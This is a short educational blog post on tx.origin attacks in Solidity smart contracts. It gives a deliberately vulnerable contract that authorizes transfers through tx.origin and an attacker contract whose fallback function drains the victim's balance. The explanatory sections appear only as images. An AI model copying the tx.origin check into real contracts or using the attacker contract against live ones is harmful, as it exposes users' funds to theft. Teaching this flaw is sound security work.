Solidity: Tx Origin Attacks

Chris Coverdale
Apr 1, 2018 · 2 min read
Image for post
Image for post

Points of failures

Image for post
Image for post

Contracts

pragma solidity ^0.4.18;
contract TxOriginVictim {address owner;
function TxOriginVictim() { owner = msg.sender;}function transferTo(address to, uint amount) public { require(tx.origin == owner); to.call.value(amount)();}function() payable public {}
pragma solidity ^0.4.18;
interface TxOriginVictim { function transferTo(address to, uint amount);}contract TxOriginAttacker {address owner;
function TxOriginAttacker() public { owner = msg.sender;}function getOwner() public returns (address) { return owner;}function() payable public { TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);}}

Solutions

Image for post
Image for post

❤️ Like, Share, Leave your comment

Coinmonks

Coinmonks is a non-profit Crypto educational publication.

Sign up for Crypto News

By Coinmonks

A newsletter that brings you week's best crypto and blockchain stories and trending news directly in your inbox, by CoinCodeCap.com Take a look

By signing up, you will create a Medium account if you don’t already have one. Review our Privacy Policy for more information about our privacy practices.

Check your inbox
Medium sent you an email at to complete your subscription.

Chris Coverdale

Written by

Blockchain Developer - Founder - Pale Fire Technologies, working on Bitcoin and LND

Coinmonks

Coinmonks

Coinmonks is a non-profit Crypto educational publication. Follow us on Twitter @coinmonks Our other project — https://coincodecap.com

Chris Coverdale

Written by

Blockchain Developer - Founder - Pale Fire Technologies, working on Bitcoin and LND

Coinmonks

Coinmonks

Coinmonks is a non-profit Crypto educational publication. Follow us on Twitter @coinmonks Our other project — https://coincodecap.com

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch

Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore

Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store